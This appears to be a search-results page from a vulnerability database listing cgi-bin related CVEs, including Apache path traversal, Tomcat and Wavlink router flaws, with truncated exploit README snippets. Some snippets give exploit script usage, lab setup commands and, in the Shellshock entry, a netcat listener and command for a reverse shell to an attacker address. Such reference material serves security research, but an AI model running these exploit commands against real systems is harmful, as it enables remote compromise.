2005 matches found
CVE-2019-0232
CVE-2019-0232 Apache Tomcat Remote Code Execution on Windows - CGI-BIN Apache Tomcat Remote Code Execution on Windows cgi-bin Usage: Usage: python CVE-2019-0232.py url cmd Test Environment: jdk8 apache-tomcat-8.5.39...
apache-cve-2021-41773-lab
Apache 2.4.49 Path Traversal Lab — CVE-2021-41773 Clone git clone https://github.com/zubairahm3d/apache-cve-2021-41773-lab.git cd apache-cve-2021-41773-lab chmod +x apachelab.sh Usage Start the vulnerable server: ./apachelab.sh choose option 1 Manual exploit: curl --path-as-is...
cve-2021-42013
Apache 2.4.50 - Path Traversal or Remote Code Execution CVE-2021-42013.py is a python script that will help in finding Path Traversal or Remote Code Execution vulnerability in Apache 2.4.50. Vulnerable instance of Docker is provided to get your hands dirty on CVE-2021-42013 If CGI-BIN is enabled...
CVE-2021-41773
CVE-2021-41773 I have developed a POC of CVE-2021-41773 , RCE + cgi-bin path traversal NOTE : TESTED ON APACHE2 2.4.49 You can pulled vuln Apache2 2.4.49 directly from Docker $ sudo docker pull blueteamsteve/cve-2021-41773:no-cgid $ sudo docker run -dit -p 80:80 blueteamsteve/cve-2021-41773:no-cg...
CVE-2021-41773
CVE-2021-41773 exploit PoC with Docker setup. CD into the directory containing the Apache configuration and Dockerfile shared in repo. Building Image: docker build -t cve-2021-41773:1.0 . Running the Docker Image: docker run --rm -d -p 4444:80 cve-2021-41773:1.0 Note: You can also use Image ID...
cve-2021-42013
Apache 2.4.50 - Path Traversal or Remote Code Execution CVE-2021-42013.py is a python script that will help in finding Path Traversal or Remote Code Execution vulnerability in Apache 2.4.50. Vulnerable instance of Docker is provided to get your hands dirty on CVE-2021-42013 If CGI-BIN is enabled...
cve-2021-41773
CVE-2021-41773 CVE-2021-41773: Path Traversal Zero-Day in Apache HTTP Server Exploited Apache HTTP Server CVE-2021-41773 Exploited in the Wild CVE-2021-42013: Path Traversal and Remote Code Execution in Apache HTTP Server 2.4.49 and 2.4.50 incomplete fix of CVE-2021-41773 Shodan oneliner shodan...
ZeroShell <= 1.0beta11 Remote Code Execution
ZeroShell 1.0beta11 and earlier via cgi-bin/kerbynet allows remote attackers to execute arbitrary commands through shell metacharacters in the type parameter in a NoAuthREQ x509List action. id: CVE-2009-0545 info: name: ZeroShell = 1.0beta11 Remote Code Execution author: geeknik severity: critica...
cve-2021-42013.get
Apache 2.4.50 - Path Traversal or Remote Code Execution cve-2021-42013.py is a python script that will help in finding Path Traversal or Remote Code Execution vulnerability in Apache 2.4.50. Vulnerable instance of Docker is provided to get your hands dirty on CVE-2021-42013 If CGI-BIN is enabled...
cve-2021-42013
Apache 2.4.50 - Path Traversal or Remote Code Execution cve-2021-42013.py is a python script that will help in finding Path Traversal or Remote Code Execution vulnerability in Apache 2.4.50. Vulnerable instance of Docker is provided to get your hands dirty on CVE-2021-42013 If CGI-BIN is enabled...
CVE-2026-109109
A vulnerability was detected in Wavlink WL-WN530BE1-A 251117. This vulnerability affects the function strcpy of the file /cgi-bin/ExportAllSettings.cgi of the component Settings Export CGI. Performing a manipulation of the argument HTTPCOOKIE/X-Cmd results in stack-based buffer overflow. It is...
CVE-2026-109107
A weakness has been identified in Wavlink WL-WN592AX6 250422. Affected by this issue is the function main of the file /cgi-bin/upload.cgi. This manipulation of the argument Cookie causes null pointer dereference. The attack is possible to be carried out remotely. The exploit has been made availab...
CVE-2026-109108
A security vulnerability has been detected in Wavlink WL-WN530BE1-A 251117. This affects the function popen of the file /cgi-bin/uploadVpn.cgi. Such manipulation of the argument Type leads to os command injection. The attack may be performed from remote. The exploit has been disclosed publicly an...
CVE-2026-109108
A security vulnerability exists in Wavlink WL-WN530BE1-A (version 251117) involving OS command injection in the /cgi-bin/uploadVpn.cgi file. The root cause is the improper handling of the Type argument within the popen function, which allows a remote attacker to execute arbitrary commands. Public...
CVE-2026-109107 Wavlink WL-WN592AX6 upload.cgi main null pointer dereference
A weakness has been identified in Wavlink WL-WN592AX6 250422. Affected by this issue is the function main of the file /cgi-bin/upload.cgi. This manipulation of the argument Cookie causes null pointer dereference. The attack is possible to be carried out remotely. The exploit has been made availab...
EUVD-2026-98338
A weakness has been identified in Wavlink WL-WN592AX6 250422. Affected by this issue is the function main of the file /cgi-bin/upload.cgi. This manipulation of the argument Cookie causes null pointer dereference. The attack is possible to be carried out remotely. The exploit has been made availab...
CVE-2026-109107
A null pointer dereference vulnerability exists in the Wavlink WL-WN592AX6 (version 250422) device. The flaw is located within the main function of the /cgi-bin/upload.cgi file and is triggered by the manipulation of the Cookie argument. This issue can be exploited remotely to impact the system. ...
cve-2021-41773-and-cve-2021-42013
cve-2021-41773 and cve-2021-42013 cve-2021-41773 and cve-2021-42013 batch verification Python script Runtime environment: python3 Usage: python3 poc.py url.txt url.txt contains the URLs to be tested, and URLs with vulnerabilities will be written to success.txt The verification content is very...
CVE-2014-6271
CVE-2014-6271 python2.7 Start listening on your machine. nc -l -p 4444 Run python script by the rule below: python shellpoc.py python shellpoc.py 10.10.10.101 /cgi-bin/status 10.10.10.1/4444 Enjoy...